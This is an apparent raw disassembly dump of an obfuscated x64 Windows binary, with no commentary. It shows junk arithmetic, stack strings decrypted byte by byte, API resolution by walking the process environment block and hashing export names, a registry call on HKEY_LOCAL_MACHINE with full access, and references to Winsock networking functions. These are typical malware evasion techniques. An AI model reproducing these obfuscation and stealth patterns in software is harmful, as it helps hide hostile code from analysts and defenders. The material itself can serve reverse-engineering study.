movabs rdx, 0x183ceef8d34b2488
mov ecx, r12d
jmp 0x1401e30f8
cmp rdi, rcx
jne 0x1401e32e9
movabs rdx, 0xc9fe878a78ffabc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x1401e356b
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e3314
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401e3500
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e3331
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_45
jmp 0x1401e31ae
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401e2ead
movabs rcx, 0xbb54baf77571d628
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x1401e3447
mov byte [rbp + r10 + 0xbb0], bl
jmp 0x1401e35cf
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0xbb0]
add bl, r9b
jmp 0x1401e34b1
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0xbb0]
sub bl, 0x5c
add bl, dl
jmp 0x1401e3539
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401e356b
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x1401e3503
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x1401e348d
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x1401e348a
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
add r11, r13
sub r10, r13
jmp 0x1401e35cf
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x1401e3500
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401e35cf
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x92af2436dc62c3de
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xbb0], al
add r11, r13
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401e35c0
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0xbb0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x1401e2a88
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e2a83
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
jmp 0x1401e2a73
lea rdx, [rbp + 0x1600128]
jmp 0x1401e3639
lea rdx, [rbp + 0x1026c42]
jmp 0x1401e3639
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x400]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1b90]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401e366e
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1b90]
call fcn.140174580
nop
lea rcx, [rbp + 0x1b90]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1b90]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x5e0], Ordinal_60
mov byte [rbp + 0x5e1], Ordinal_143
mov byte [rbp + 0x5e2], 0x61
mov byte [rbp + 0x5e3], 0xf3
mov byte [rbp + 0x5e4], 0x5a
mov byte [rbp + 0x5e5], 0xf1
mov byte [rbp + 0x5e6], 0x62
mov byte [rbp + 0x5e7], 0xf7
mov byte [rbp + 0x5e8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5e9], 0xf5
mov byte [rbp + 0x5ea], 0x5b
mov byte [rbp + 0x5eb], 0xfb
mov byte [rbp + 0x5ec], WSASetLastError
mov byte [rbp + 0x5ed], 0xf9
mov byte [rbp + 0x5ee], 0x5b
mov byte [rbp + 0x5ef], 0xff
mov byte [rbp + 0x5f0], r14b
mov byte [rbp + 0x5f1], 0xfd
mov byte [rbp + 0x5f2], 0x59
mov byte [rbp + 0x5f3], 0xe3
mov byte [rbp + 0x5f4], Ordinal_79
mov byte [rbp + 0x5f5], 0xe1
mov byte [rbp + 0x5f6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5f7], 0xe7
mov byte [rbp + 0x5f8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5f9], 0xe5
mov byte [rbp + 0x5fa], 0x7f
mov byte [rbp + 0x5fb], 0xeb
mov byte [rbp + 0x5fc], 0x7a
mov byte [rbp + 0x5fd], 0xe9
mov byte [rbp + 0x5fe], Ordinal_79
mov byte [rbp + 0x5ff], 0xef
mov byte [rbp + 0x600], 0x7a
mov byte [rbp + 0x601], 0xed
mov byte [rbp + 0x602], 0x88
mov byte [rbp + 0x603], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x604], 0x84
mov byte [rbp + 0x605], Ordinal_211
mov byte [rbp + 0x606], Ordinal_217
mov byte [rbp + 0x607], Ordinal_217
xor eax, eax
mov qword [rbp + 0x608], rax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401e4376
movzx r8d, byte [rbp + r9 + 0x5e0]
mov rdx, r8
cmp rdi, r9
ja 0x1401e436d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401e382d
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x1401e3871
je 0x1401e42ee
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e426a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e423d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401e41f5
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401e41a5
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401e4364
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1401e3897
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401e3aac
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401e4184
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e4161
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401e413b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401e4115
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e40f3
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401e3e65
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401e3e43
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401e3e1d
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401e3dfb
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401e3de7
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401e3dc5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e3da3
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401e3d7f
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401e3d5d
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401e3d49
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401e38e5
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401e4342
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401e4320
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401e3ae5
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401e3ac3
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401e3a9d
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401e3cec
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401e3c92
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401e3c43
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1401e3c19
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401e38e5
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401e3c05
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401e3be3
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401e3bc1
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401e3bad
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401e3b8a
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401e3b64
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401e3b41
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401e3b1f
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401e3b0b
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401e38e5
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x1401e38e5
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e38d8
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x1401e3871
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e37f5
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x1401e3f43
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x1401e41ea
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401e41ed
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e4212
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401e4238
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401e4124
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401e428b
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401e42bb
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401e3fcc
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x5e0], bl
jmp 0x1401e4318
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x1401e3c36
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401e41c2
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
cmp rdi, 0x1000
jae 0x1401e409a
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401e3fe3
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x1401e3c64
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x1401e40c5
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1401e3f2b
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
jmp 0x1401e3caf
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401e3fcc
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x1401e42bb
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e428b
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401e4258
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401e4238
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_45
jmp 0x1401e3f9e
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x1401e41ed
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e41ea
movabs rcx, 0x12b0da6c7f759ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1401e41c2
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401e3e8b
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e3d09
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e3eb7
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401e4309
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e3ede
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, esi
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401e40e9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e3f0a
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401e4258
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e3d09
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401e414a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e3f5a
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e41c2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e3f86
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401e41ea
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e3fb0
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401e40bb
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401e3caf
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e4309
jne 0x1401e4007
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401e4309
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e4031
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401e40ec
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e404e
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401e4124
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e4079
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401e4212
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401e3c64
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401e4191
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x5e0]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x1401e4212
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x5e0]
add bl, r8b
add bl, dl
jmp 0x1401e428b
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x1401e428b
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e4258
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e4238
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e41ed
movabs rdx, 0xdc582daba1a1e692
mov ecx, r13d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e41c2
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add r10, r13
sub r9, r13
jmp 0x1401e4318
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, bl
add cl, r8b
sub cl, sil
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r10
jmp 0x1401e4258
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401e4318
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5e0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401e4309
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, r15b
movzx eax, byte [rbp + r9 + 0x5e0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x1401e37e2
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x1401e37dd
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x1401e37cd
lea r12, [rbp + 0x145e388]
jmp 0x1401e437d
lea r12, [rbp + 0x136aac6]
jmp 0x1401e437d
lea r12, [rbp + 0x5e0]
mov r10, qword [0x1404dbc30]
xor eax, eax
test r10, r10
jne 0x1401e44f4
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401e43fe
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401e43f0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401e43df
cmp r8d, esi
jne 0x1401e44d0
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401e44d0
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401e44d0
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401e4452
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401e4447
cmp edx, r14d
je 0x1401e4468
test r9d, r9d
jne 0x1401e4432
jmp 0x1401e44d0
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401e44e7
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401e44e7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401e44c3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401e449f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401e44b6
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401e44e4
cmp qword [rdi + 0x30], rax
jne 0x1401e43ae
mov r10, rax
mov qword [0x1404dbc30], r10
xor eax, eax
lea r13d, [rax + 1]
mov qword [rsp + 0x40], rax
lea rcx, [0x1404db4f8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404dbba8]
xor eax, eax
test rdx, rdx
jne 0x1401e468d
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x1401e45a7
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x1401e4599
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401e4588
cmp r9d, esi
jne 0x1401e467e
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x1401e467e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401e467e
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, r12d
jmp 0x1401e45fb
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r13
test dl, dl
jne 0x1401e45ee
cmp r8d, r14d
je 0x1401e4611
test r10d, r10d
jne 0x1401e45db
jmp 0x1401e467e
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x1401e4686
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401e4686
mov esi, r12d
mov r14d, r12d
jmp 0x1401e464f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401e4641
jmp 0x1401e4664
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401e4657
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
